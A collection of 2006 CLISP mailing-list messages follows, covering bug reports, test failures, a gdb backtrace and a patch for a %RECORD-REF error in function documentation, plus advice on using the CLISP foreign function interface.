when x has 16 elements or more and y has 6 elements or more. I have seen 
no problems with :test 'equal or when x or y have fewer elements than the 
limits of 16 and 6, respectively.

Cheers,
Klaus

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[grue@thor pyk]$ uname -a
Linux thor.yoa.dk 2.4.18-14 #1 Wed Sep 4 12:13:11 EDT 2002 i686 athlon 
i386 GNU/Linux

grue@thor pyk]$ clisp --version
GNU CLISP 2.39 (2006-07-16) (built 3362209947) (memory 3362210549)
Software: GNU C 3.2 20020903 (Red Hat Linux 8.0 3.2-7)
gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type 
-Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations 
-falign-functions=4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a 
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SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS 
SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.4
libreadline 5.1
Features:
(READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL 
COMMON-LISP
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C Modules: (clisp i18n syscalls regexp readline)
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Hello.

Apparently the problem was that my $LANG variable had no value. If I  
set it to fr_FR.UTF-8, I can invoke Clisp simply as clisp (without - 
ansi -E utf-8); it can print its message and exit normally.

Best wishes,

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Klaus Ebbe Grue wrote:
> Is this a known problem? When I do
> 
> (set-difference
>   '(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
>   '(0 0 0 0 0 0)
>   :test 'equalp)
> 
> I get
> 
> *** - MAKE-HASH-TABLE: illegal :TEST argument SYSTEM::FASTHASH-EQUALP
> The following restarts are available:
> USE-VALUE      :R1      You may input a value to be used instead.
> ABORT          :R2      ABORT
> 
> In general, (set-difference x y :test 'equalp) gives the message above 
> when x has 16 elements or more and y has 6 elements or more. I have seen 
> no problems with :test 'equal or when x or y have fewer elements than the 
> limits of 16 and 6, respectively.

thanks for your bug report.
could you please also file it on SF?
http://sourceforge.net/tracker/?func=add&group_id=1355&atid=101355
thanks.



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Hello!

A test fails when compiling CLisp 2.40 on Solaris x86 SXCE build46, 
32-bit.  Compiling with gcc 3.4.5 and using:

./configure --with-libsigsegv-prefix=${prefix} --prefix=/opt/clisp-2.40 
--build


File mop.erg contains:

Form: (LET (CONSTRUCTOR) (DEFCLASS CONSTRUCTOR NIL ((NAME :INITARG :NAME 
:ACCESSOR CONSTRUCTOR-NAME) (FIELDS :INITARG :FIELDS :ACCESSOR 
CONSTRUCTOR-FIELDS)) (:METACLASS FUNCALLABLE-STANDARD-CLASS)) (DEFMETHOD 
INITIALIZE-INSTANCE :AFTER ((C CONSTRUCTOR) &KEY) (WITH-SLOTS (NAME 
FIELDS) C (SET-FUNCALLABLE-INSTANCE-FUNCTION C #'(LAMBDA NIL (LET ((NEW 
(MAKE-ARRAY (1+ (LENGTH FIELDS))))) (SETF (AREF NEW 0) NAME) NEW))))) 
(SETQ CONSTRUCTOR (MAKE-INSTANCE 'CONSTRUCTOR :NAME 'POSITION :FIELDS 
'(X Y))) (LIST (STRINGP (WITH-OUTPUT-TO-STRING (*STANDARD-OUTPUT*) 
(DESCRIBE CONSTRUCTOR))) (FUNCALL CONSTRUCTOR)))
CORRECT: (T #(POSITION NIL NIL))
CLISP  : ERROR
SYSTEM::%RECORD-REF: #<SYSTEM-FUNCTION POSITION> is not a record


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Josip Gracin wrote:

> A test fails when compiling CLisp 2.40 on Solaris x86 SXCE build46, 
> 32-bit.  Compiling with gcc 3.4.5 and using:
...
> CORRECT: (T #(POSITION NIL NIL))
> CLISP  : ERROR
> SYSTEM::%RECORD-REF: #<SYSTEM-FUNCTION POSITION> is not a record

The same error on win32/mingw.

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> * Yaroslav Kavenchuk <xnirapuhx@ghg.ol> [2006-10-02 01:01:54 +0300]:
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> Josip Gracin wrote:
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>> A test fails when compiling CLisp 2.40 on Solaris x86 SXCE build46, 
>> 32-bit.  Compiling with gcc 3.4.5 and using:
> ...
>> CORRECT: (T #(POSITION NIL NIL))
>> CLISP  : ERROR
>> SYSTEM::%RECORD-REF: #<SYSTEM-FUNCTION POSITION> is not a record
>
> The same error on win32/mingw.

cannot reproduce it on any platform.
could you please debug this?
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> * Yaroslav Kavenchuk <xnirapuhx@ghg.ol> [2006-10-02 01:01:54 +0300]:
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>> A test fails when compiling CLisp 2.40 on Solaris x86 SXCE build46, 
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>> CORRECT: (T #(POSITION NIL NIL))
>> CLISP  : ERROR
>> SYSTEM::%RECORD-REF: #<SYSTEM-FUNCTION POSITION> is not a record
>
> The same error on win32/mingw.

cannot reproduce it on any platform.
could you please debug this?
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Sam Steingold wrote:

> cannot reproduce it on any platform.
> could you please debug this?
> thanks!

Problem in #'describe:

gdb...
Starting program: 
C:\gnu\home\src\clisp\clisp-2.40\build-debug/full/lisp.exe -M 
full/lispinit.mem -norc -q
Reserved address range 0x19d90000-0x5fffffff .
STACK depth: 98222
SP depth: 515992
[1]> (DEFCLASS CONSTRUCTOR NIL
   ((NAME :INITARG :NAME :ACCESSOR CONSTRUCTOR-NAME)
    (FIELDS :INITARG :FIELDS :ACCESSOR CONSTRUCTOR-FIELDS))
   (:METACLASS FUNCALLABLE-STANDARD-CLASS))
#<FUNCALLABLE-STANDARD-CLASS CONSTRUCTOR>
[2]> (DEFMETHOD INITIALIZE-INSTANCE :AFTER ((C CONSTRUCTOR) &KEY)
   (WITH-SLOTS (NAME FIELDS) C
     (SET-FUNCALLABLE-INSTANCE-FUNCTION C
       #'(LAMBDA NIL (LET ((NEW (MAKE-ARRAY (1+ (LENGTH FIELDS)))))
       (SETF (AREF NEW 0) NAME) NEW)))))
#<STANDARD-METHOD :AFTER (#<FUNCALLABLE-STANDARD-CLASS CONSTRUCTOR>)>
[3]> (SETQ CONSTRUCTOR
       (MAKE-INSTANCE 'CONSTRUCTOR :NAME 'POSITION :FIELDS '(X Y)))
#<CONSTRUCTOR #<UNBOUND>>
[4]> (DESCRIBE CONSTRUCTOR)

#<CONSTRUCTOR #<UNBOUND>> is an instance of the CLOS class 
#1=#<FUNCALLABLE-STANDARD-CLASS CONSTRUCTOR>, can be used as a function.
Slots:
CLOS::$NAME unbound
NAME = POSITION
FIELDS = (X Y)

  POSITION is the symbol POSITION, lies in #<PACKAGE COMMON-LISP>, is 
accessible in 15 packages CLOS, COMMON-LISP, COMMON-LISP-USER,
  EXPORTING, EXT, FFI, LDAP, PCRE, POSIX, RAWSOCK, READLINE, REGEXP, 
SCREEN, SYSTEM, ZLIB, names a
Breakpoint 10, fehler (errortype=error,
     errorstring=0x62ea04 "~S: ~S is not a record") at error.d:349
349       prepare_error(errortype,errorstring,true); /* finish error 
message */
(gdb) backtrace
#0  fehler (errortype=error, errorstring=0x62ea04 "~S: ~S is not a record")
     at error.d:349
#1  0x0056a65b in fehler_record () at record.d:39
#2  0x0056a6b0 in record_up () at record.d:50
#3  0x0056a767 in C_record_ref () at record.d:64
#4  0x005089e9 in interpret_bytecode_ (closure={one_o = 434514609},
     codeptr=0x19e62a48, byteptr_in=0x19e62a5a "нk") at eval.d:7036
#5  0x005061f9 in funcall_closure (closure={one_o = 434514609},
     args_on_stack=1) at eval.d:5771
#6  0x005048a7 in funcall (fun={one_o = 434514473}, args_on_stack=1)
     at eval.d:4939
#7  0x005085ef in interpret_bytecode_ (closure={one_o = 434515689},
     codeptr=0x19e62ec8, byteptr_in=0x19e62eda "о1P\037\aоo") at eval.d:7015
#8  0x005061f9 in funcall_closure (closure={one_o = 434515689},
     args_on_stack=2) at eval.d:5771
#9  0x00504830 in funcall (fun={one_o = 434515689}, args_on_stack=2)
     at eval.d:4932
#10 0x0050763d in interpret_bytecode_ (closure={one_o = 434520845},
     codeptr=0x19ec37bc,
     byteptr_in=0x19ec37ce "\236'\001\201fо\217\b\201U\a\001\001\034\201hi")
     at eval.d:6746
#11 0x005061f9 in funcall_closure (closure={one_o = 434520845},
     args_on_stack=2) at eval.d:5771
#12 0x005048a7 in funcall (fun={one_o = 433732501}, args_on_stack=2)
     at eval.d:4939
#13 0x0050874a in interpret_bytecode_ (closure={one_o = 434741965},
     codeptr=0x19e99cf8,
     byteptr_in=0x19e99d0a 
"н┌o\001░-\003\002оr\213\001\002\222\002\036░�o\0010\002c\002\020\005") 
at eval.d:7024
#14 0x005061f9 in funcall_closure (closure={one_o = 434741965},
     args_on_stack=2) at eval.d:5771
#15 0x00504830 in funcall (fun={one_o = 434741965}, args_on_stack=2)
     at eval.d:4932
#16 0x0050763d in interpret_bytecode_ (closure={one_o = 434750749},
     codeptr=0x19f13c08,
     byteptr_in=0x19f13c1a 
"н\217\030\035i\001\001п\215m\002\032\003оr)i\001\001i") at eval.d:6746
#17 0x005061f9 in funcall_closure (closure={one_o = 434750749},
     args_on_stack=2) at eval.d:5771
#18 0x005048a7 in funcall (fun={one_o = 433733393}, args_on_stack=2)
     at eval.d:4939
#19 0x005086dd in interpret_bytecode_ (closure={one_o = 434751633},
     codeptr=0x19e9c730, byteptr_in=0x19e9c742 "о\016") at eval.d:7021
#20 0x005061f9 in funcall_closure (closure={one_o = 434751633},
     args_on_stack=2) at eval.d:5771
#21 0x005048a7 in funcall (fun={one_o = 434751249}, args_on_stack=2)
     at eval.d:4939
#22 0x005086dd in interpret_bytecode_ (closure={one_o = 434753345},
     codeptr=0x19e9cedc,
     byteptr_in=0x19e9ceee 
"=\001н┌\212\001%\223\001\200Bн\002#\003\016\t∙\002\020\n╨\020\002") at 
eval.d:7021
#23 0x005061f9 in funcall_closure (closure={one_o = 434753345},
     args_on_stack=2) at eval.d:5771
#24 0x005048a7 in funcall (fun={one_o = 433720937}, args_on_stack=2)
     at eval.d:4939
#25 0x005086dd in interpret_bytecode_ (closure={one_o = 434735125},
     codeptr=0x19e98608, byteptr_in=0x19e9861a "оo") at eval.d:7021
#26 0x005061f9 in funcall_closure (closure={one_o = 434735125},
     args_on_stack=2) at eval.d:5771
#27 0x005048a7 in funcall (fun={one_o = 434734569}, args_on_stack=2)
     at eval.d:4939
#28 0x005086dd in interpret_bytecode_ (closure={one_o = 434739421},
     codeptr=0x19e99874,
     byteptr_in=0x19e99886 "н┌o\001░r)-\003\002оо0\003\031\003") at 
eval.d:7021
#29 0x005061f9 in funcall_closure (closure={one_o = 434739421},
     args_on_stack=2) at eval.d:5771
#30 0x00504830 in funcall (fun={one_o = 434739421}, args_on_stack=2)
     at eval.d:4932
#31 0x0050763d in interpret_bytecode_ (closure={one_o = 434750749},
     codeptr=0x19f13c08,
     byteptr_in=0x19f13c1a 
"н\217\030\035i\001\001п\215m\002\032\003оr)i\001\001i") at eval.d:6746
#32 0x005061f9 in funcall_closure (closure={one_o = 434750749},
     args_on_stack=2) at eval.d:5771
#33 0x00504830 in funcall (fun={one_o = 434750749}, args_on_stack=2)
     at eval.d:4932
#34 0x0050d4bf in interpret_bytecode_ (closure={one_o = 434750749},
     codeptr=0x19e4ac00, byteptr_in=0x19e4ac12 "i") at eval.d:8135
#35 0x005061f9 in funcall_closure (closure={one_o = 434750749},
     args_on_stack=2) at eval.d:5771
#36 0x005048a7 in funcall (fun={one_o = 433733393}, args_on_stack=2)
     at eval.d:4939
#37 0x005086dd in interpret_bytecode_ (closure={one_o = 434751633},
     codeptr=0x19e9c730, byteptr_in=0x19e9c742 "о\016") at eval.d:7021
#38 0x005061f9 in funcall_closure (closure={one_o = 434751633},
     args_on_stack=2) at eval.d:5771
#39 0x005048a7 in funcall (fun={one_o = 434751249}, args_on_stack=2)
     at eval.d:4939
#40 0x005086dd in interpret_bytecode_ (closure={one_o = 434753345},
     codeptr=0x19e9cedc,
     byteptr_in=0x19e9ceee 
"=\001н┌\212\001%\223\001\200Bн\002#\003\016\t∙\002\020\n╨\020\002") at 
eval.d:7021
#41 0x00501e42 in eval_closure (closure={one_o = 434753345}) at eval.d:3912
#42 0x004ff056 in eval1 (form={one_o = 1610023355}) at eval.d:3032
#43 0x004febfc in eval (form={one_o = 1610023355}) at eval.d:2899
#44 0x00539486 in C_read_eval_print () at debug.d:408
#45 0x0050542a in funcall_subr (fun={one_o = 5730610}, args_on_stack=2)
     at eval.d:5330
#46 0x0050487a in funcall (fun={one_o = 5765489}, args_on_stack=2)
     at eval.d:4937
#47 0x005086dd in interpret_bytecode_ (closure={one_o = 435152017},
     codeptr=0x19e94254, byteptr_in=0x19e94266 "â•žP\200J") at eval.d:7021
#48 0x005061f9 in funcall_closure (closure={one_o = 435152017},
     args_on_stack=0) at eval.d:5771
#49 0x00504830 in funcall (fun={one_o = 435152017}, args_on_stack=0)
     at eval.d:4932
#50 0x00536636 in C_driver () at control.d:1976
#51 0x005087da in interpret_bytecode_ (closure={one_o = 434717585},
     codeptr=0x19e94200, byteptr_in=0x19e94212 "G") at eval.d:7027
#52 0x005061f9 in funcall_closure (closure={one_o = 434717585},
     args_on_stack=0) at eval.d:5771
#53 0x00504830 in funcall (fun={one_o = 434717585}, args_on_stack=0)
     at eval.d:4932
#54 0x00508fc4 in interpret_bytecode_ (closure={one_o = 434912013},
     codeptr=0x19df3cc8, byteptr_in=0x19df3cda "") at eval.d:7077
#55 0x005061f9 in funcall_closure (closure={one_o = 434912013},
     args_on_stack=0) at eval.d:5771
#56 0x00504830 in funcall (fun={one_o = 434912013}, args_on_stack=0)
     at eval.d:4932
#57 0x00508fc4 in interpret_bytecode_ (closure={one_o = 434913113},
     codeptr=0x19df3cc8, byteptr_in=0x19df3cda "") at eval.d:7077
#58 0x005061f9 in funcall_closure (closure={one_o = 434913113},
     args_on_stack=0) at eval.d:5771
#59 0x00504830 in funcall (fun={one_o = 434913113}, args_on_stack=0)
     at eval.d:4932
#60 0x00508fc4 in interpret_bytecode_ (closure={one_o = 435031245},
     codeptr=0x19df3cc8, byteptr_in=0x19df3cda "") at eval.d:7077
#61 0x005061f9 in funcall_closure (closure={one_o = 435031245},
     args_on_stack=0) at eval.d:5771
#62 0x00504830 in funcall (fun={one_o = 435031245}, args_on_stack=0)
     at eval.d:4932
#63 0x00508fc4 in interpret_bytecode_ (closure={one_o = 435032701},
     codeptr=0x19df3cc8, byteptr_in=0x19df3cda "") at eval.d:7077
#64 0x005061f9 in funcall_closure (closure={one_o = 435032701},
     args_on_stack=0) at eval.d:5771
#65 0x00504830 in funcall (fun={one_o = 435032701}, args_on_stack=0)
     at eval.d:4932
#66 0x00508fc4 in interpret_bytecode_ (closure={one_o = 435134981},
     codeptr=0x19df3cc8, byteptr_in=0x19df3cda "") at eval.d:7077
#67 0x005061f9 in funcall_closure (closure={one_o = 435134981},
     args_on_stack=0) at eval.d:5771
#68 0x00504830 in funcall (fun={one_o = 435134981}, args_on_stack=0)
     at eval.d:4932
#69 0x005397c5 in driver () at debug.d:477
#70 0x0044d8a0 in main_actions (p=0x632668) at spvw.d:3231
#71 0x0044c5e1 in main (argc=5, argv=0x3f28f8) at spvw.d:3367
(gdb)

What from this is need to debug?

(gdb) up
#1  0x0056a65b in fehler_record () at record.d:39
39        fehler(error, /* type_error ?? */
(gdb) up
#2  0x0056a6b0 in record_up () at record.d:50
50        if_recordp(STACK_1, ; , { skipSTACK(1); fehler_record(); } );
(gdb) xout record
CL::NIL{one_o = 5758801}
(gdb)

-- 
WBR, Yaroslav Kavenchuk.


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> Problem in #'describe:

..in (describe #'position):

[1]> (describe #'position)

#<SYSTEM-FUNCTION POSITION> is a built-in system function.
Argument list: (#:ARG0 #:ARG1 &KEY :FROM-END :START :END :KEY :TEST 
:TEST-NOT)
*** - SYSTEM::%RECORD-REF: #<SYSTEM-FUNCTION POSITION> is not a record
The following restarts are available:
ABORT          :R1      ABORT
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Sam Steingold <sds@gnu.org> writes:

>> * Yaroslav Kavenchuk <xnirapuhx@ghg.ol> [2006-10-02 01:01:54 +0300]:
>>
>> Josip Gracin wrote:
>>
>>> A test fails when compiling CLisp 2.40 on Solaris x86 SXCE build46, 
>>> 32-bit.  Compiling with gcc 3.4.5 and using:
>> ...
>>> CORRECT: (T #(POSITION NIL NIL))
>>> CLISP  : ERROR
>>> SYSTEM::%RECORD-REF: #<SYSTEM-FUNCTION POSITION> is not a record
>>
>> The same error on win32/mingw.
>
> cannot reproduce it on any platform.
> could you please debug this?

I get the same on NetBSD/powerpc.  I have a simpler test case:

(documentation 'position 'function)

This eventually leads to function-documentation (in
documentation.lisp) being called, where only the last clause of the
cond applies:

(get :documentation (sys::%record-ref x 0))

sys::%record-ref then says that #<SYSTEM-FUNCTION POSITION> is not a
record as above.  At this point, this is beyond me...

Magnus



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Hello.

When I compile clisp-2.40 with gcc-4.0 on an Intel Mac running Mac OS =20=

X 10.4.8, one test of "make check-tests" fails; here is the output:

finished  49 files:               1 error out of   10,421 tests
   1                   alltest:    0 errors out of    631 tests
   2                     array:    0 errors out of    290 tests
   3                  backquot:    0 errors out of     89 tests
   4                    bin-io:    0 errors out of     15 tests
   5                characters:    0 errors out of    221 tests
   6                      clos:    0 errors out of    485 tests
   7                   defhash:    0 errors out of      6 tests
   8                  encoding:    0 errors out of     31 tests
   9                    eval20:    0 errors out of     21 tests
10                    floeps:    0 errors out of     20 tests
11                    format:    0 errors out of    259 tests
12                 genstream:    0 errors out of     14 tests
13                  hashlong:    0 errors out of     10 tests
14                 hashtable:    0 errors out of      7 tests
15                    iofkts:    0 errors out of    220 tests
16                    lambda:    0 errors out of     89 tests
17                  lists151:    0 errors out of    201 tests
18                  lists152:    0 errors out of    255 tests
19                  lists153:    0 errors out of      1 test
20                  lists154:    0 errors out of     46 tests
21                  lists155:    0 errors out of     25 tests
22                  lists156:    0 errors out of     20 tests
23                  list-set:    0 errors out of      2 tests
24                      loop:    0 errors out of    134 tests
25                    macro8:    0 errors out of    194 tests
26                       map:    0 errors out of     64 tests
27                       mop:    1 error out of     219 tests
28                    number:    0 errors out of  3,655 tests
29                   number2:    0 errors out of    252 tests
30                    pack11:    0 errors out of    202 tests
31                      path:    0 errors out of    143 tests
32                      setf:    0 errors out of    168 tests
33                    socket:    0 errors out of     85 tests
34                   steele7:    0 errors out of     85 tests
35                   streams:    0 errors out of    363 tests
36               streamslong:    0 errors out of     14 tests
37                   strings:    0 errors out of    408 tests
38                  symbol10:    0 errors out of    147 tests
39                   symbols:    0 errors out of      5 tests
40                      time:    0 errors out of     23 tests
41                      type:    0 errors out of    272 tests
42                      weak:    0 errors out of    120 tests
43                  weakhash:    0 errors out of     25 tests
44                 weakhash2:    0 errors out of     46 tests
45                      bind:    0 errors out of     67 tests
46                   weakptr:    0 errors out of    240 tests
47                conditions:    0 errors out of     90 tests
48                  restarts:    0 errors out of     68 tests
49                  excepsit:    0 errors out of    374 tests
Real time: 196.93605 sec.
Run time: 107.92802 sec.
Space: 741555544 Bytes
GC: 986, GC time: 30.853638 sec.
1
Bye.
(echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l =20
*erg; echo "To see which tests failed, type" ; echo "    cat "`pwd`"/=20
*.erg" ; exit 1)
Test failed:
-rw-r--r--   1 ycodet  ycodet  731  3 oct 12:25 mop.erg
To see which tests failed, type
     cat /Users/ycodet/Desktop/clisp-2.40/src/tests/*.erg
make[1]: *** [compare] Error 1
make: *** [check-tests] Error 2
~/Desktop/clisp-2.40/src $ cat /Users/ycodet/Desktop/clisp-2.40/src/=20
tests/*.erg
Form: (LET (CONSTRUCTOR) (DEFCLASS CONSTRUCTOR NIL =20
((NAME :INITARG :NAME :ACCESSOR CONSTRUCTOR-NAME) =20
(FIELDS :INITARG :FIELDS :ACCESSOR CONSTRUCTOR-FIELDS)) (:METACLASS =20
FUNCALLABLE-STANDARD-CLASS)) (DEFMETHOD INITIALIZE-INSTANCE :AFTER =20
((C CONSTRUCTOR) &KEY) (WITH-SLOTS (NAME FIELDS) C (SET-FUNCALLABLE-=20
INSTANCE-FUNCTION C #'(LAMBDA NIL (LET ((NEW (MAKE-ARRAY (1+ (LENGTH =20
FIELDS))))) (SETF (AREF NEW 0) NAME) NEW))))) (SETQ CONSTRUCTOR (MAKE-=20=

INSTANCE 'CONSTRUCTOR :NAME 'POSITION :FIELDS '(X Y))) (LIST (STRINGP =20=

(WITH-OUTPUT-TO-STRING (*STANDARD-OUTPUT*) (DESCRIBE CONSTRUCTOR))) =20
(FUNCALL CONSTRUCTOR)))
CORRECT: (T #(POSITION NIL NIL))
CLISP  : ERROR
SYSTEM::%RECORD-REF : #<SYSTEM-FUNCTION POSITION> n'est pas un =ABrecord=BB=
.

Unfortunately I'm unable to understand the above message.

Best wishes,

YC



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In "clisp-cvs Digest, Vol 6, Issue 1":

 > Index: documentation.lisp
 > ===================================================================
 > RCS file: /cvsroot/clisp/clisp/src/documentation.lisp,v
 > retrieving revision 1.25
 > retrieving revision 1.26
 > diff -u -d -r1.25 -r1.26
 > --- documentation.lisp	4 Sep 2006 04:12:24 -0000	1.25
 > +++ documentation.lisp	1 Oct 2006 14:48:19 -0000	1.26
 > @@ -11,9 +11,10 @@
 >           (sys::%record-ref x 2))
 >          #+FFI ((eq (type-of x) 'ffi::foreign-function)
 >                 (getf (sys::%record-ref x 5) :documentation))
 > -        ((sys::subr-info x)     ; built-in
 > -         (get :documentation (sys::function-name x)))
 > -        (t (sys::closure-documentation x))))
 > +        ((sys::closurep x) (sys::closure-documentation x))
 > +        ((let ((name (sys::subr-info x))) ; subr
 > +           (and name (get :documentation name))))
 > +        (t (get :documentation (sys::%record-ref x 0)))))

Huh... What you meant?

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Yaroslav Kavenchuk wrote:
>  > +        ((let ((name (sys::subr-info x))) ; subr
>  > +           (and name (get :documentation name))))

while this code is certainly broken, it should not cause this breakage.

1. On linux I see:
[1]> (describe #'position)

#<SYSTEM-FUNCTION POSITION> is a built-in system function.
Argument list: (#:ARG0 #:ARG1 &KEY :FROM-END :START :END :KEY :TEST 
:TEST-NOT)
For more information, evaluate (DISASSEMBLE #'POSITION).

[2]> (documentation 'position 'function)
NIL
[3]> (sys::%record-ref #'position 0)
POSITION
[4]>

what do you see?

2. ./clisp --version | grep CODES
SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS 
SPVW_MIXED TRIVIALMAP_MEMORY

thanks.
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Sam Steingold wrote:

>>  > +        ((let ((name (sys::subr-info x))) ; subr
>>  > +           (and name (get :documentation name))))
> 
> while this code is certainly broken, it should not cause this breakage.

Not this. May be this:

+        (t (get :documentation (sys::%record-ref x 0)))))

> [3]> (sys::%record-ref #'position 0)
> POSITION
> [4]>
> 
> what do you see?

[3]> (sys::%record-ref #'position 0)

*** - SYSTEM::%RECORD-REF: #<SYSTEM-FUNCTION POSITION> is not a record
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [4]>

> 2. ./clisp --version | grep CODES
> SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS 
> SPVW_MIXED TRIVIALMAP_MEMORY

$ ./clisp --version | grep CODES
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS 
SPVW_MIXED TRIVIALMAP_MEMORY

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Yaroslav Kavenchuk wrote:
> Sam Steingold wrote:
> 
>>>  > +        ((let ((name (sys::subr-info x))) ; subr
>>>  > +           (and name (get :documentation name))))
>> while this code is certainly broken, it should not cause this breakage.
> 
> Not this. May be this:
> 
> +        (t (get :documentation (sys::%record-ref x 0)))))
> 
>> [3]> (sys::%record-ref #'position 0)
>> POSITION
>> [4]>
>>
>> what do you see?
> 
> [3]> (sys::%record-ref #'position 0)
> 
> *** - SYSTEM::%RECORD-REF: #<SYSTEM-FUNCTION POSITION> is not a record
> The following restarts are available:
> ABORT          :R1      ABORT
> Break 1 [4]>
> 
>> 2. ./clisp --version | grep CODES
>> SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS 
>> SPVW_MIXED TRIVIALMAP_MEMORY
> 
> $ ./clisp --version | grep CODES
> SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS 
> SPVW_MIXED TRIVIALMAP_MEMORY
> 

OK, please try this patch:

--- documentation.lisp	02 Oct 2006 06:01:24 -0400	1.26
+++ documentation.lisp	03 Oct 2006 10:47:23 -0400
@@ -4,7 +4,7 @@

  (in-package "CLOS")

-(defun function-documentation (x)
+(defun function-documentation (x &aux name)
    (cond ((typep-class x <standard-generic-function>)
           (std-gf-documentation x))
          ((eq (type-of x) 'FUNCTION) ; interpreted function?
@@ -12,8 +12,7 @@
          #+FFI ((eq (type-of x) 'ffi::foreign-function)
                 (getf (sys::%record-ref x 5) :documentation))
          ((sys::closurep x) (sys::closure-documentation x))
-        ((let ((name (sys::subr-info x))) ; subr
-           (and name (get :documentation name))))
+        ((setq name (sys::subr-info x)) (get :documentation name)) ; subr
          (t (get :documentation (sys::%record-ref x 0)))))

  ;;; documentation
@@ -81,7 +80,7 @@
    (:method ((x slot-definition) (doc-type (eql 't)))
      (slot-definition-documentation x)))

-(defun set-function-documentation (x new-value)
+(defun set-function-documentation (x new-value &aux name)
    (cond ((typep-class x <standard-generic-function>)
           (setf (std-gf-documentation x) new-value))
          ((eq (type-of x) 'FUNCTION) ; interpreted function?
@@ -89,8 +88,8 @@
          #+FFI ((eq (type-of x) 'ffi::foreign-function)
                 (setf (getf (sys::%record-ref x 5) :documentation) 
new-value))
          ((sys::closurep x) (sys::closure-set-documentation x new-value))
-        ((let ((name (sys::subr-info x))) ; subr
-           (and name (setf (get :documentation name) new-value))))
+        ((setq name (sys::subr-info x)) ; subr
+         (setf (get :documentation name) new-value))
          (t                      ; fsubr
           (setf (get :documentation (sys::%record-ref x 0)) new-value))))




if firefox screws this up, just download the patch from
https://sourceforge.net/tracker/index.php?func=detail&aid=1569234&group_id=1355&atid=101355

thanks.

sorry about the srew-up...



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Sam Steingold wrote:

> OK, please try this patch:

Thanks, this is work.

I should rebuild and resend packages for win32?

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Hello.

Le 3 oct. 06 =E0 18:01, Sam Steingold a =E9crit :


>
> if firefox screws this up, just download the patch from
> https://sourceforge.net/tracker/index.php?=20
> func=3Ddetail&aid=3D1569234&group_id=3D1355&atid=3D101355
>

"patch" couldn't find the file to patch (maybe I used it the wrong =20
way); if I apply it to "src/documentation.lisp" "configure" ends with =20=

an error (which wasn't the case without the patch):

make[1]: *** [check] Illegal instruction
make: *** [check-subdirs] Error 2
Configure findings:
   FFI:        no (user requested: default)
   readline:   yes (user requested: default)
   libsigsegv: yes

Maybe I don't understand the meaning of the line:

   FFI:        no (user requested: default)

Isn't "--with-dynamic-ffi" the default?

Best wishes,

Yves Codet




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all tests pass except one:

Form: (LET (CONSTRUCTOR) (DEFCLASS CONSTRUCTOR NIL ((NAME :INITARG :NAME 
:ACCESSOR CONSTRUCTOR-NAME) (FIELDS :INITARG :FIELDS :ACCESSOR 
CONSTRUCTOR-FIELDS)) (:METACLASS FUNCALLABLE-STANDARD-CLASS)) (DEFMETHOD 
INITIALIZE-INSTANCE :AFTER ((C CONSTRUCTOR) &KEY) (WITH-SLOTS (NAME 
FIELDS) C (SET-FUNCALLABLE-INSTANCE-FUNCTION C #'(LAMBDA NIL (LET ((NEW 
(MAKE-ARRAY (1+ (LENGTH FIELDS))))) (SETF (AREF NEW 0) NAME) NEW))))) 
(SETQ CONSTRUCTOR (MAKE-INSTANCE 'CONSTRUCTOR :NAME 'POSITION :FIELDS 
'(X Y))) (LIST (STRINGP (WITH-OUTPUT-TO-STRING (*STANDARD-OUTPUT*) 
(DESCRIBE CONSTRUCTOR))) (FUNCALL CONSTRUCTOR)))
CORRECT: (T #(POSITION NIL NIL))
CLISP  : ERROR
SYSTEM::%RECORD-REF: #<SYSTEM-FUNCTION POSITION> is not a record

./makemake --with-dynamic-ffi --prefix=/usr --fsstnd=redhat 
--with-readline --with-gettext --with-module=rawsock 
--with-module=dirkey --with-module=bindings/win32 
--with-module=berkeley-db --with-module=pcre --with-module=postgresql 
--with-module=fastcgi --with-module=zlib

same as on MacOSX

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Is there going to be one?


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Sam Steingold wrote:
>Hoehle, Joerg-Cyril wrote:
>> Why don't you create a Lisp vector of nodes and let the FFI convert =
that in one go?
>> (allocate-deep 'problem '(1 #(2.0d0) #( (1 2.0d0) (2 5.6d0))))
>this appears to work fine.

>   (libsvm:train (ffi:foreign-value problem)
>                 (ffi:foreign-value f-parameter))
>
>works by
>1. converting `problem' from C to Lisp (in foreign-value)
>2. converting the Lisp `problem' back to C on C stack (alloca)
>3. calling the C function (svm_train)
>
>if this is actually the case, this is totally unacceptable=20
>because this=20
>means that huge objects are converted between C and Lisp for=20
>absolutely no reason.

You did not tell enough about your needs!
I showed you a solution that works for the problem described initially.
You enlarged the problem, presumably as follows: "one call is not =
enough. I have plenty of them where some important resource remains =
constant. At least it should remain EQ".

Here's my advice:
o Indeed, don't convert back and forth the same entity over and over =
again. This is a stupid mistake.
(ffilib:some-function (ffi:foreign-value #)) looks exactly like such a =
mistake.

o If you have a foreign resource (like C stdio FILE), don't convert it. =
Rather keep it on the foreign side.

o If you need to create the resource on the Lisp side, do it once.  =
Afterwards work with a #<FOREIGN-VARIABLE> object that you pass around =
as by reference.
  Note that this implies that all relevant functions exhibit a parameter =
type declaration like (C-POINTER foo) or C-POINTER, not (C-PTR foo).
You can try to use (C-POINTER foo) to achieve some type safety, but it =
doesn't go far.  The CLISP FFI is a serialization and conversion engine, =
not a C type checker.
When you work with references, there's little to serialize.

You can consider that the CLISP FFI was designed by Bruno back in 1994-5 =
with object conversions in mind, like common in Pascal (or the C queens =
example in impnotes shows).  This may help you understand it.  Nowadays, =
working with object by reference and accessor methods is much more =
common, types/structs tend to get hidden and only primitive types like =
int and string get exported.  That's not the perfect match for the FFI, =
IMHO.

